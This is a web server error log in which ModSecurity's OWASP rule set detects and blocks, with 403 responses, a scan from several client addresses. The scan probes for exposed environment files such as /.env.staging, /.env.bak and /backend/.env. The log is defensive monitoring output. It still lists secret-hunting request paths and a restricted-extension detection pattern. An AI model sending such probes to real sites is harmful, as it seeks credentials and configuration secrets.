[Fri Mar 20 16:14:05.753882 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kPfy1_WiwY9KfWu_40QAAAAI"]
[Fri Mar 20 16:14:05.754018 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kPfy1_WiwY9KfWu_40QAAAAI"]
[Fri Mar 20 16:14:05.754155 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "ab1kPfy1_WiwY9KfWu_40QAAAAI"]
[Fri Mar 20 16:14:05.761861 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kPRq8pDZXKMuYECLOcQAAAAk"]
[Fri Mar 20 16:14:05.761979 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kPRq8pDZXKMuYECLOcQAAAAk"]
[Fri Mar 20 16:14:05.762103 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "ab1kPRq8pDZXKMuYECLOcQAAAAk"]
[Fri Mar 20 16:14:05.779393 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kPQp0GbmkUAUfOtfnngAAAAo"]
[Fri Mar 20 16:14:05.779552 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kPQp0GbmkUAUfOtfnngAAAAo"]
[Fri Mar 20 16:14:05.779668 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kPQp0GbmkUAUfOtfnngAAAAo"]
[Fri Mar 20 16:14:05.779806 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kPQp0GbmkUAUfOtfnngAAAAo"]
[Fri Mar 20 16:14:05.786356 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kPUGu3yPOFBRkxZtw1AAAAAA"]
[Fri Mar 20 16:14:05.786508 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kPUGu3yPOFBRkxZtw1AAAAAA"]
[Fri Mar 20 16:14:05.786622 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kPUGu3yPOFBRkxZtw1AAAAAA"]
[Fri Mar 20 16:14:05.786748 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kPUGu3yPOFBRkxZtw1AAAAAA"]
[Fri Mar 20 16:14:05.799900 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kPSVNfI7nWmz17RxaeAAAAAc"]
[Fri Mar 20 16:14:05.800064 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kPSVNfI7nWmz17RxaeAAAAAc"]
[Fri Mar 20 16:14:05.800190 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kPSVNfI7nWmz17RxaeAAAAAc"]
[Fri Mar 20 16:14:05.800321 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kPSVNfI7nWmz17RxaeAAAAAc"]
[Fri Mar 20 16:14:05.809040 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zQAAAAE"]
[Fri Mar 20 16:14:05.809174 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zQAAAAE"]
[Fri Mar 20 16:14:05.809304 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kPTQ9Th-2Y9b0JRd1zQAAAAE"]
[Fri Mar 20 16:14:05.824283 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kPZJiwBXnNifSr5veuwAAAAQ"]
[Fri Mar 20 16:14:05.824405 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kPZJiwBXnNifSr5veuwAAAAQ"]
[Fri Mar 20 16:14:05.824549 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kPZJiwBXnNifSr5veuwAAAAQ"]
[Fri Mar 20 16:14:05.833460 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kPW8zubx8zfwe9oW5SwAAAAU"]
[Fri Mar 20 16:14:05.833588 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kPW8zubx8zfwe9oW5SwAAAAU"]
[Fri Mar 20 16:14:05.833716 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kPW8zubx8zfwe9oW5SwAAAAU"]
[Fri Mar 20 16:14:05.846454 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kPf9i5ZHhQgdGB68gMAAAAAg"]
[Fri Mar 20 16:14:05.846591 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kPf9i5ZHhQgdGB68gMAAAAAg"]
[Fri Mar 20 16:14:05.846728 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kPf9i5ZHhQgdGB68gMAAAAAg"]
[Fri Mar 20 16:14:06.191444 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kPknH70iMTzyPh3kWngAAAAY"]
[Fri Mar 20 16:14:06.191591 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kPknH70iMTzyPh3kWngAAAAY"]
[Fri Mar 20 16:14:06.191736 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kPknH70iMTzyPh3kWngAAAAY"]
[Fri Mar 20 16:14:06.215712 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcgAAAAk"]
[Fri Mar 20 16:14:06.215849 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcgAAAAk"]
[Fri Mar 20 16:14:06.215998 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcgAAAAk"]
[Fri Mar 20 16:14:06.239975 2026] [authz_core:error] [pid 2822566] [client 172.70.251.169:12132] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Fri Mar 20 16:14:06.265405 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pCgAAABI"]
